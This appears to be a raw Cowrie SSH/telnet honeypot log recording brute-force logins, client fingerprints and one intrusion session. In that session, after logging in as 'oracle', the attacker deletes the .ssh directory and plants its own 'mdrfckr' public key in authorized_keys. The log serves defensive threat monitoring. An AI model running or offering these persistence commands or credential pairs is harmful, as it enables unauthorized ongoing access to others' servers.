{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":38580,"dst_ip":"159.203.135.109","dst_port":23,"session":"aee5dd6e0a4f","protocol":"telnet","message":"New connection: 134.209.8.29:38580 (159.203.135.109:23) [session: aee5dd6e0a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:53.820462Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53652,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1b21b125a0a","protocol":"telnet","message":"New connection: 38.54.119.93:53652 (10.17.0.5:23) [session: c1b21b125a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:53.925099Z"}
{"eventid":"cowrie.session.closed","duration":3.938469886779785,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:54.270418Z","src_ip":"134.209.8.29","session":"a9406542db28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.634479999542236,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:59.559502Z","src_ip":"38.54.119.93","session":"c1b21b125a0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.96848917007446,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:00.477546Z","src_ip":"134.209.8.29","session":"97a808fd98b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":49216,"dst_ip":"159.203.135.109","dst_port":23,"session":"c69120e4d874","protocol":"telnet","message":"New connection: 194.233.64.34:49216 (159.203.135.109:23) [session: c69120e4d874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:03.286391Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":29100,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3198254a5fc","protocol":"ssh","message":"New connection: 205.254.166.101:29100 (159.203.135.109:22) [session: e3198254a5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:17.324992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:17.330304Z","src_ip":"205.254.166.101","session":"e3198254a5fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:17.540621Z","src_ip":"205.254.166.101","session":"e3198254a5fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"none","message":"login attempt [admin/none] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:18.401099Z","src_ip":"205.254.166.101","session":"e3198254a5fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:19.612638Z","src_ip":"205.254.166.101","session":"e3198254a5fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45614,"dst_ip":"10.17.0.5","dst_port":23,"session":"497c020a3b95","protocol":"telnet","message":"New connection: 38.54.119.93:45614 (10.17.0.5:23) [session: 497c020a3b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:24.801398Z"}
{"eventid":"cowrie.session.closed","duration":45.57554388046265,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:26.670398Z","src_ip":"38.54.119.93","session":"2e43156c96e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33394,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1f53cd664de","protocol":"telnet","message":"New connection: 134.209.8.29:33394 (159.203.135.109:23) [session: f1f53cd664de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:28.475386Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49390,"dst_ip":"10.17.0.5","dst_port":23,"session":"06faa318ae3b","protocol":"telnet","message":"New connection: 38.54.119.93:49390 (10.17.0.5:23) [session: 06faa318ae3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:30.184415Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51814,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d08f6234c5e","protocol":"telnet","message":"New connection: 38.54.119.93:51814 (10.17.0.5:23) [session: 0d08f6234c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:33.634829Z"}
{"eventid":"cowrie.session.closed","duration":30.822534799575806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:34.108812Z","src_ip":"194.233.64.34","session":"c69120e4d874","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53248,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdbf83b31cca","protocol":"telnet","message":"New connection: 38.54.119.93:53248 (10.17.0.5:23) [session: cdbf83b31cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:35.640584Z"}
{"eventid":"cowrie.session.closed","duration":6.233220338821411,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:39.867923Z","src_ip":"38.54.119.93","session":"0d08f6234c5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58764,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0735d9da955","protocol":"telnet","message":"New connection: 38.54.119.93:58764 (10.17.0.5:23) [session: f0735d9da955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:45.146962Z"}
{"eventid":"cowrie.session.closed","duration":51.46509075164795,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:45.285399Z","src_ip":"134.209.8.29","session":"aee5dd6e0a4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.987334251403809,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:50.134166Z","src_ip":"38.54.119.93","session":"f0735d9da955","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.106295347213745,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:52.746773Z","src_ip":"38.54.119.93","session":"cdbf83b31cca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":40416,"dst_ip":"10.17.0.5","dst_port":22,"session":"de1e75d3f580","protocol":"ssh","message":"New connection: 147.50.231.135:40416 (10.17.0.5:22) [session: de1e75d3f580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:53.030589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:53.035794Z","src_ip":"147.50.231.135","session":"de1e75d3f580","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:53.301206Z","src_ip":"147.50.231.135","session":"de1e75d3f580","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mailtest","password":"testmail","message":"login attempt [mailtest/testmail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:54.377350Z","src_ip":"147.50.231.135","session":"de1e75d3f580","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:55.640510Z","src_ip":"147.50.231.135","session":"de1e75d3f580","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39282,"dst_ip":"10.17.0.5","dst_port":23,"session":"4587bc5ba86d","protocol":"telnet","message":"New connection: 38.54.119.93:39282 (10.17.0.5:23) [session: 4587bc5ba86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:36:57.228779Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35922,"dst_ip":"159.203.135.109","dst_port":23,"session":"bda43dcfc7c7","protocol":"telnet","message":"New connection: 134.209.8.29:35922 (159.203.135.109:23) [session: bda43dcfc7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:05.428590Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35918,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b951bb91625","protocol":"telnet","message":"New connection: 134.209.8.29:35918 (159.203.135.109:23) [session: 9b951bb91625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:06.630369Z"}
{"eventid":"cowrie.session.closed","duration":3.966308116912842,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:09.394762Z","src_ip":"134.209.8.29","session":"bda43dcfc7c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.06509590148926,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:09.540357Z","src_ip":"134.209.8.29","session":"f1f53cd664de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.0900514125824,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:09.891347Z","src_ip":"38.54.119.93","session":"497c020a3b95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.68394446372986,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:13.868078Z","src_ip":"38.54.119.93","session":"06faa318ae3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56570,"dst_ip":"159.203.135.109","dst_port":23,"session":"984fad8a1326","protocol":"telnet","message":"New connection: 134.209.8.29:56570 (159.203.135.109:23) [session: 984fad8a1326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:22.028414Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56566,"dst_ip":"159.203.135.109","dst_port":23,"session":"00bde289417b","protocol":"telnet","message":"New connection: 134.209.8.29:56566 (159.203.135.109:23) [session: 00bde289417b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:24.356701Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":12758,"dst_ip":"159.203.135.109","dst_port":22,"session":"02872b80b49e","protocol":"ssh","message":"New connection: 205.254.166.101:12758 (159.203.135.109:22) [session: 02872b80b49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:25.272825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:25.277599Z","src_ip":"205.254.166.101","session":"02872b80b49e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:25.483138Z","src_ip":"205.254.166.101","session":"02872b80b49e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1qaz!QAZ","message":"login attempt [oracle/1qaz!QAZ] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:26.340404Z","src_ip":"205.254.166.101","session":"02872b80b49e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:26.799677Z","src_ip":"205.254.166.101","session":"02872b80b49e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:26.803314Z","src_ip":"205.254.166.101","session":"02872b80b49e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:26.807025Z","src_ip":"205.254.166.101","session":"02872b80b49e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:27.016888Z","src_ip":"205.254.166.101","session":"02872b80b49e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:27.463847Z","src_ip":"205.254.166.101","session":"02872b80b49e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:27.466954Z","src_ip":"205.254.166.101","session":"02872b80b49e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:27.677806Z","src_ip":"205.254.166.101","session":"02872b80b49e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:27.682040Z","src_ip":"205.254.166.101","session":"02872b80b49e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":45338,"dst_ip":"159.203.135.109","dst_port":22,"session":"e648d1052467","protocol":"ssh","message":"New connection: 205.254.166.101:45338 (159.203.135.109:22) [session: e648d1052467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:27.882282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:27.886986Z","src_ip":"205.254.166.101","session":"e648d1052467","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:28.096224Z","src_ip":"205.254.166.101","session":"e648d1052467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:28.958129Z","src_ip":"205.254.166.101","session":"e648d1052467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:30.170005Z","src_ip":"205.254.166.101","session":"e648d1052467","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":24841,"dst_ip":"159.203.135.109","dst_port":22,"session":"121839cfb864","protocol":"ssh","message":"New connection: 205.254.166.101:24841 (159.203.135.109:22) [session: 121839cfb864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:30.375330Z"}
